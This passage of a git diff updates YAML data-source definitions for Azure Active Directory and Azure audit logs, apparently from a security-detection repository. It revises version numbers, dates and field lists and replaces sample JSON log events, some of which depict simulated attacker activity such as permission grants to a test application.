signed in' interrupt when the user was signing-in.", "additionalDetails": "MFA completed in Azure AD"}, "clientAppUsed": "Browser", "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", "deviceDetail": {"deviceId": "", "operatingSystem": "MacOs", "browser": "Chrome 118.0.0"}, "location": {"city": "Ohio", "state": "Ohio", "countryOrRegion": "US", "geoCoordinates": {"latitude": 85.75616073608398, "longitude": -48.996978759765625}}, "mfaDetail": {"authMethod": "Mobile app notification"}, "correlationId": "3fa4b922-8482-fadf-ef18-4296af064abb", "conditionalAccessStatus": "notApplied", "appliedConditionalAccessPolicies": [], "authenticationContextClassReferences": [], "originalRequestId": "a2bee7fa-c0ef-4108-914b-1bc731a05700", "isInteractive": true, "tokenIssuerName": "", "tokenIssuerType": "AzureAD", "authenticationProcessingDetails": [{"key": "Login Hint Present", "value": "True"}, {"key": "Legacy TLS (TLS 1.0, 1.1, 3DES)", "value": "False"}, {"key": "Is CAE Token", "value": "False"}], "networkLocationDetails": [], "clientCredentialType": "none", "processingTimeInMilliseconds": 106, "riskDetail": "none", "riskLevelAggregated": "none", "riskLevelDuringSignIn": "none", "riskState": "none", "riskEventTypes": [], "riskEventTypes_v2": [], "resourceDisplayName": "Office 365 Exchange Online", "resourceId": "00000002-0000-0ff1-ce00-000000000000", "resourceTenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "homeTenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "authenticationDetails": [{"authenticationStepDateTime": "2023-10-30T15:41:14.534616+00:00", "authenticationMethod": "Password", "authenticationMethodDetail": "Password in the cloud", "succeeded": true, "authenticationStepRequirement": "Primary authentication", "StatusSequence": 0, "RequestSequence": 1}, {"authenticationStepDateTime": "2023-10-30T15:41:14+00:00", "authenticationMethod": "Mobile app notification", "succeeded": true, "authenticationStepResultDetail": "MFA successfully completed", "authenticationStepRequirement": "Primary authentication", "StatusSequence": 1698680474164, "RequestSequence": 1698680465025}], "authenticationRequirementPolicies": [{"requirementProvider": "user", "detail": "Per-user MFA"}], "sessionLifetimePolicies": [], "authenticationRequirement": "multiFactorAuthentication", "alternateSignInName": "user15@splunkresearch.onmicrosoft.com", "signInIdentifier": "user15@splunkresearch.onmicrosoft.com", "servicePrincipalId": "", "userType": "Member", "flaggedForReview": false, "isTenantRestricted": false, "autonomousSystemNumber": 12271, "crossTenantAccessType": "none", "privateLinkDetails": {}, "ssoExtensionVersion": "", "uniqueTokenIdentifier": "-ue-ou_ACEGRSxvHMaBXAA", "authenticationStrengths": [], "incomingTokenType": "none", "authenticationProtocol": "none", "appServicePrincipalId": null, "resourceServicePrincipalId": "8429eb5c-faeb-4ade-8eac-acc003790769", "rngcStatus": 0, "signInTokenProtectionStatus": "none", "originalTransferMethod": "none"}} diff --git a/data_sources/azure_active_directory_update_application.yml b/data_sources/azure_active_directory_update_application.yml index 68973cf9bf..da5c83a373 100644 --- a/data_sources/azure_active_directory_update_application.yml +++ b/data_sources/azure_active_directory_update_application.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Update application id: 2c08188a-ba25-496e-87c7-803cf28b6c90 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an application in Azure Active Directory is updated, such as changes to its settings or permissions. mitre_components: @@ -19,9 +19,15 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -30,12 +36,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -60,18 +77,34 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2024-01-29T21:31:03.0102031Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Update application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "durationMs": 0, "correlationId": "a5396d2b-fcf6-41e7-9219-c6239f1298e3", "Level": 4, "properties": {"id": "Directory_a5396d2b-fcf6-41e7-9219-c6239f1298e3_DGBDP_1548236", "category": "ApplicationManagement", "correlationId": "a5396d2b-fcf6-41e7-9219-c6239f1298e3", "result": "success", "resultReason": "", "activityDisplayName": "Update application", "activityDateTime": "2024-01-29T21:31:03.0102031+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "user30@splunkresearch.onmicrosoft.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "75924835-d844-4947-96ba-18074e997386", "displayName": "MaliciousApp", "type": "Application", "modifiedProperties": [{"displayName": "RequiredResourceAccess", "oldValue": "[{\"ResourceAppId\":\"00000003-0000-0000-c000-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1}]", "newValue": "[{\"ResourceAppId\":\"00000003-0000-0000-c000-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1},{\"ResourceAppId\":\"00000002-0000-0ff1-ce00-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1}]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"RequiredResourceAccess\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"key": "AppId", "value": "867f0d29-0eab-4017-b691-c4713cc7d7b0"}]}}' +example_log: | + {"time": "2024-01-30T15:24:59.2810533Z", "resourceId": "/tenants/75243ab2-44f8-435c-a7a6-b479385df6d4/providers/Microsoft.aadiam", "operationName": "Update application", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "resultSignature": "None", "durationMs": 0, "correlationId": "5e800cf4-1869-4a9c-81c1-55ffa81d7ec1", "Level": 4, "properties": {"id": "Directory_5e800cf4-1869-4a9c-81c1-55ffa81d7ec1_W8TAT_9432874", "category": "ApplicationManagement", "correlationId": "5e800cf4-1869-4a9c-81c1-55ffa81d7ec1", "result": "success", "resultReason": "", "activityDisplayName": "Update application", "activityDateTime": "2024-01-30T15:24:59.2810533+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "user30@splunkresearch.onmicrosoft.com", "ipAddress": "", "roles": []}}, "targetResources": [{"id": "75924835-d844-4947-96ba-18074e997386", "displayName": "STRT_ReadEmail", "type": "Application", "modifiedProperties": [{"displayName": "RequiredResourceAccess", "oldValue": "[{\"ResourceAppId\":\"00000002-0000-0ff1-ce00-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1},{\"ResourceAppId\":\"00000003-0000-0000-c000-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1}]", "newValue": "[{\"ResourceAppId\":\"00000002-0000-0ff1-ce00-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"dc890d15-9560-4a4c-9b7f-a736ec74ec40\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1},{\"ResourceAppId\":\"00000003-0000-0000-c000-000000000000\",\"RequiredAppPermissions\":[{\"EntitlementId\":\"570282fd-fa5c-430d-a7fd-fc8dc98a9dca\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"7427e0e9-2fba-42fe-b0c0-848c9e6a8182\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\"DirectAccessGrant\":false,\"ImpersonationAccessGrants\":[20]},{\"EntitlementId\":\"1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]},{\"EntitlementId\":\"06b708a9-e830-4db3-a914-8e69da51d44f\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]},{\"EntitlementId\":\"810c84a8-4a9e-49e6-bf7d-12d183f40d01\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]},{\"EntitlementId\":\"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\",\"DirectAccessGrant\":true,\"ImpersonationAccessGrants\":[]}],\"EncodingVersion\":1}]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"RequiredResourceAccess\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"key": "AppId", "value": "867f0d29-0eab-4017-b691-c4713cc7d7b0"}]}} diff --git a/data_sources/azure_active_directory_update_authorization_policy.yml b/data_sources/azure_active_directory_update_authorization_policy.yml index 11b8c70a60..aeb2f7b214 100644 --- a/data_sources/azure_active_directory_update_authorization_policy.yml +++ b/data_sources/azure_active_directory_update_authorization_policy.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Update authorization policy id: c5b7ffcd-73d8-4fe5-afd8-b1218d715c0c -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an authorization policy is updated in Azure Active Directory. mitre_components: @@ -19,10 +19,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -31,12 +37,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -61,18 +78,36 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_agent + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-10-26T19:22:20.2814027Z", "resourceId": "/tenants/5f210575-a69b-41a7-b623-3f6d79ccd432/providers/Microsoft.aadiam", "operationName": "Update authorization policy", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "5f210575-a69b-41a7-b623-3f6d79ccd432", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "1.2.3.4", "correlationId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "Level": 4, "properties": {"id": "Directory_cc46d719-4c0f-4b78-8795-b0d6ca5b2065_6CH7M_196574953", "category": "AuthorizationPolicy", "correlationId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "result": "success", "resultReason": "", "activityDisplayName": "Update authorization policy", "activityDateTime": "2023-10-26T19:22:20.2814027+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "attacker@splunkresearch.onmicrosoft.com", "ipAddress": "1.2.3.4", "roles": []}}, "targetResources": [{"id": "24484114-1daa-4700-aaf7-44ee5cbe5678", "displayName": "Authorization Policy", "type": "Other", "modifiedProperties": [{"displayName": "AllowUserConsentForRiskyApps", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "PermissionGrantPolicyIdsAssignedToDefaultUserRole", "oldValue": "[\"ManagePermissionGrantsForSelf.microsoft-user-default-legacy\"]", "newValue": "[\"microsoft-user-default-legacy\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AllowUserConsentForRiskyApps, PermissionGrantPolicyIdsAssignedToDefaultUserRole\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Swagger-Codegen/1.0.0.0/csharp/msal"}]}}' +example_log: | + {"time": "2023-10-26T19:22:20.2814027Z", "resourceId": "/tenants/5f210575-a69b-41a7-b623-3f6d79ccd432/providers/Microsoft.aadiam", "operationName": "Update authorization policy", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "5f210575-a69b-41a7-b623-3f6d79ccd432", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "1.2.3.4", "correlationId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "Level": 4, "properties": {"id": "Directory_cc46d719-4c0f-4b78-8795-b0d6ca5b2065_6CH7M_196574953", "category": "AuthorizationPolicy", "correlationId": "cc46d719-4c0f-4b78-8795-b0d6ca5b2065", "result": "success", "resultReason": "", "activityDisplayName": "Update authorization policy", "activityDateTime": "2023-10-26T19:22:20.2814027+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "e4c722ac-3b83-478d-8f52-c388885dc30f", "displayName": null, "userPrincipalName": "attacker@splunkresearch.onmicrosoft.com", "ipAddress": "1.2.3.4", "roles": []}}, "targetResources": [{"id": "24484114-1daa-4700-aaf7-44ee5cbe5678", "displayName": "Authorization Policy", "type": "Other", "modifiedProperties": [{"displayName": "AllowUserConsentForRiskyApps", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "PermissionGrantPolicyIdsAssignedToDefaultUserRole", "oldValue": "[\"ManagePermissionGrantsForSelf.microsoft-user-default-legacy\"]", "newValue": "[\"microsoft-user-default-legacy\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AllowUserConsentForRiskyApps, PermissionGrantPolicyIdsAssignedToDefaultUserRole\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "User-Agent", "value": "Swagger-Codegen/1.0.0.0/csharp/msal"}]}} diff --git a/data_sources/azure_active_directory_update_user.yml b/data_sources/azure_active_directory_update_user.yml index f68bb2e219..8be4f4770e 100644 --- a/data_sources/azure_active_directory_update_user.yml +++ b/data_sources/azure_active_directory_update_user.yml @@ -1,8 +1,8 @@ name: Azure Active Directory Update user id: 5495c90a-047c-4b8e-b2fe-1db6282d3872 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user account is updated in Azure Active Directory. mitre_components: @@ -18,10 +18,16 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action + - additional_details + - additional_details_name + - additional_details_value - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -30,12 +36,23 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.additionalDetails{}.key @@ -61,18 +78,33 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-07-24T14:28:15.2233481Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Update user", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "Level": 4, "properties": {"id": "Directory_d34f6d2e-3120-4b96-b922-e06090f6a497_VPRLA_316413199", "category": "UserManagement", "correlationId": "d34f6d2e-3120-4b96-b922-e06090f6a497", "result": "success", "resultReason": "", "activityDisplayName": "Update user", "activityDateTime": "2023-07-24T14:28:15.2233481+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "tommyr@splunkresearch.com", "ipAddress": "2601:646:a000:200:b0ee:600c:de8a:c7d5", "roles": []}}, "targetResources": [{"id": "83a3158c-1d08-4686-b5f9-72fb34cb606e", "displayName": null, "type": "User", "userPrincipalName": "testuser@splunkresearch.com", "modifiedProperties": [{"displayName": "AccountEnabled", "oldValue": "[false]", "newValue": "[true]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"AccountEnabled\""}, {"displayName": "TargetId.UserType", "oldValue": null, "newValue": "\"Member\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "UserType", "value": "Member"}]}}' +example_log: | + {"time": "2023-08-01T17:58:34.8298290Z", "resourceId": "/tenants/fc69e276-e9e8-4af9-9002-1e410d77244e/providers/Microsoft.aadiam", "operationName": "Update user", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "fc69e276-e9e8-4af9-9002-1e410d77244e", "resultSignature": "None", "durationMs": 0, "callerIpAddress": "35.155.135.6", "correlationId": "973d9d53-c492-4244-b8d4-ffd054a2a01c", "Level": 4, "properties": {"id": "Directory_973d9d53-c492-4244-b8d4-ffd054a2a01c_TVZMN_14464116", "category": "UserManagement", "correlationId": "973d9d53-c492-4244-b8d4-ffd054a2a01c", "result": "success", "resultReason": "", "activityDisplayName": "Update user", "activityDateTime": "2023-08-01T17:58:34.829829+00:00", "loggedByService": "Core Directory", "operationType": "Update", "userAgent": null, "initiatedBy": {"user": {"id": "728989f4-eb3d-45c2-8741-2f2af4e485ce", "displayName": null, "userPrincipalName": "hereiamr@splunkresearch.com", "ipAddress": "35.155.135.6", "roles": []}}, "targetResources": [{"id": "f416526a-17ee-4129-8ca9-f5ee55f69f34", "displayName": null, "type": "User", "userPrincipalName": "hereiam360_gmail.com#EXT#@strtadminsplunkresearch.onmicrosoft.com", "modifiedProperties": [{"displayName": "SourceAnchor", "oldValue": "[]", "newValue": "[\"anystring\"]"}, {"displayName": "Included Updated Properties", "oldValue": null, "newValue": "\"SourceAnchor\""}, {"displayName": "TargetId.UserType", "oldValue": null, "newValue": "\"Guest\""}], "administrativeUnits": []}], "additionalDetails": [{"key": "UserType", "value": "Guest"}]}} diff --git a/data_sources/azure_active_directory_user_registered_security_info.yml b/data_sources/azure_active_directory_user_registered_security_info.yml index 758efd25fa..c7a81bef69 100644 --- a/data_sources/azure_active_directory_user_registered_security_info.yml +++ b/data_sources/azure_active_directory_user_registered_security_info.yml @@ -1,8 +1,8 @@ name: Azure Active Directory User registered security info id: b63240de-8a01-4ba8-8987-89d18d4b375d -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user registers or updates their security information in Azure Active Directory. mitre_components: @@ -18,10 +18,13 @@ supported_TA: version: 6.3.3 fields: - _time - - Level + - action - callerIpAddress - category + - change_type + - command - correlationId + - dataset_name - date_hour - date_mday - date_minute @@ -30,12 +33,24 @@ fields: - date_wday - date_year - date_zone + - dest + - dest_type - durationMs + - dvc + - eventtype - host + - id - index + - Level - linecount + - object + - object_attrs + - object_attrs_from_resultReason + - object_category + - object_id - operationName - operationVersion + - path_from_resourceId - properties.activityDateTime - properties.activityDisplayName - properties.category @@ -56,19 +71,36 @@ fields: - properties.userAgent - punct - resourceId + - result + - result_id - resultDescription - resultSignature + - signature - source - sourcetype - splunk_server + - src + - src_ip + - src_user + - src_user_name + - src_user_type + - status + - tag + - tag::eventtype - tenantId - time - timeendpos - timestartpos + - user + - user_name + - user_type + - vendor_account + - vendor_product output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"time": "2023-01-30T21:11:30.8690619Z", "resourceId": "/tenants/91da745f-8abb-4a7d-ba94-5667c6f9e01a/providers/Microsoft.aadiam", "operationName": "User registered security info", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "91da745f-8abb-4a7d-ba94-5667c6f9e01a", "resultSignature": "None", "resultDescription": "User registered App Password", "durationMs": 0, "callerIpAddress": "72.1.2.43", "correlationId": "14279c94-7ebc-409f-be4e-7861f13c8a79", "Level": 4, "properties": {"id": "IAMUX_14279c94-7ebc-409f-be4e-7861f13c8a79_K2ATV_323947358", "category": "UserManagement", "correlationId": "14279c94-7ebc-409f-be4e-7861f13c8a79", "result": "success", "resultReason": "User registered App Password", "activityDisplayName": "User registered security info", "activityDateTime": "2023-01-30T21:11:30.8690619+00:00", "loggedByService": "Authentication Methods", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "displayName": null, "userPrincipalName": "User30@splunkresearch.com", "ipAddress": "72.1.2.43", "roles": []}}, "targetResources": [{"id": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "displayName": "User30", "type": "User", "userPrincipalName": "User30@splunkresearch.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": []}}' +example_log: | + {"time": "2023-01-30T21:11:30.8690619Z", "resourceId": "/tenants/91da745f-8abb-4a7d-ba94-5667c6f9e01a/providers/Microsoft.aadiam", "operationName": "User registered security info", "operationVersion": "1.0", "category": "AuditLogs", "tenantId": "91da745f-8abb-4a7d-ba94-5667c6f9e01a", "resultSignature": "None", "resultDescription": "User registered App Password", "durationMs": 0, "callerIpAddress": "72.1.2.43", "correlationId": "14279c94-7ebc-409f-be4e-7861f13c8a79", "Level": 4, "properties": {"id": "IAMUX_14279c94-7ebc-409f-be4e-7861f13c8a79_K2ATV_323947358", "category": "UserManagement", "correlationId": "14279c94-7ebc-409f-be4e-7861f13c8a79", "result": "success", "resultReason": "User registered App Password", "activityDisplayName": "User registered security info", "activityDateTime": "2023-01-30T21:11:30.8690619+00:00", "loggedByService": "Authentication Methods", "operationType": "Add", "userAgent": null, "initiatedBy": {"user": {"id": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "displayName": null, "userPrincipalName": "User30@splunkresearch.com", "ipAddress": "72.1.2.43", "roles": []}}, "targetResources": [{"id": "40b61050-e814-4ae5-8ffe-66b6f0c53998", "displayName": "User30", "type": "User", "userPrincipalName": "User30@splunkresearch.com", "modifiedProperties": [], "administrativeUnits": []}], "additionalDetails": []}} diff --git a/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml b/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml index 26b38ab885..fa431235b6 100644 --- a/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml +++ b/data_sources/azure_audit_create_or_update_an_azure_automation_account.yml @@ -1,8 +1,8 @@ name: Azure Audit Create or Update an Azure Automation account id: 2ab182e7-feda-4249-9418-32710b55a885 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an Azure Automation account is created or updated. mitre_components: @@ -96,9 +96,9 @@ fields: - status - status.localizedValue - status.value - - subStatus.value - submissionTimestamp - subscriptionId + - subStatus.value - timeendpos - timestartpos - user @@ -112,4 +112,5 @@ output_fields: - src - vendor_account - vendor_product -example_log: '{"authorization": {"action": "Microsoft.Automation/automationAccounts/write", "scope": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount"}, "caller": "evilAdmin@contoso.com", "channels": "Operation", "claims": {"aud": "https://management.core.windows.net/", "iss": "https://sts.windows.net/ad251139-d600-4f45-a8ba-9f6ca1e5a93d/", "iat": "1661179930", "nbf": "1661179930", "exp": "1661185179", "http://schemas.microsoft.com/claims/authnclassreference": "1", "aio": "AWQAm/8TAAAATFEszAxfULi02mHZwJPr322a2w4m7xjhs9xgc61bVQITM6lcvJI17c8SKQGIWgIA0FysfS1bmLHdxImNfT26qJ5Sfc5UdTncHkz3UYu+AvgCW1gg1mRxOZEFXYdIlQ/h", "altsecid": "1:live.com:000161008492EF5F", "http://schemas.microsoft.com/claims/authnmethodsreferences": "pwd,mfa", "appid": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c", "appidacr": "2", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress": "evilAdmin@contoso.com", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/surname": "Doe", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/givenname": "John", "groups": "ecb1fc87-1938-45ff-aaf3-661cee183b11", "http://schemas.microsoft.com/identity/claims/identityprovider": "live.com", "ipaddr": "190.0.0.1", "name": "John Doe", "http://schemas.microsoft.com/identity/claims/objectidentifier": "74b87c49-c202-4101-a8aa-ef18ecc815e8", "puid": "1003200203ECE231", "rh": "0.AX0AORElrQDWRU-oup9soeWpPUZIf3kAutdPukPawfj2MBOaAIM.", "http://schemas.microsoft.com/identity/claims/scope": "user_impersonation", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "VVjyH6MJP7pqXTBGCn4NMckGNjX-aYB_Oh7LcI9kaDw", "http://schemas.microsoft.com/identity/claims/tenantid": "ad251139-d600-4f45-a8ba-9f6ca1e5a93d", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "contoso.com#evilAdmin@contoso.com", "uti": "OyNAqM760kmqzxVr6jwtAA", "ver": "1.0", "wids": "62e90394-69f5-4237-9190-012177145e10", "xms_tcdt": "1654791641"}, "correlationId": "59e3de3b-b8c6-4360-9bc5-f094ebce6422", "description": "", "eventDataId": "b0a0bf02-57e5-4eb3-a36d-f2681d874637", "eventName": {"value": "EndRequest", "localizedValue": "End request"}, "eventSource": {"value": "Administrative", "localizedValue": "Administrative"}, "id": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount/events/b0a0bf02-57e5-4eb3-a36d-f2681d874637/ticks/637967777618694806", "level": "Informational", "resourceGroupName": "ResourceGroup1", "resourceProviderName": {"value": "Microsoft.Automation", "localizedValue": "Microsoft.Automation"}, "resourceUri": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount", "operationId": "6a420172-1ccd-4144-ac12-3095b4019ed5", "operationName": {"value": "Microsoft.Automation/automationAccounts/write", "localizedValue": "Create or Update an Azure Automation account"}, "properties": {"eventCategory": "Administrative", "entity": "/subscriptions/67165197-75ea-4ca3-96a5-3e23868eacd0/resourcegroups/ResourceGroup1/providers/Microsoft.Automation/automationAccounts/TestAutomationAccount", "message": "Microsoft.Automation/automationAccounts/write", "hierarchy": 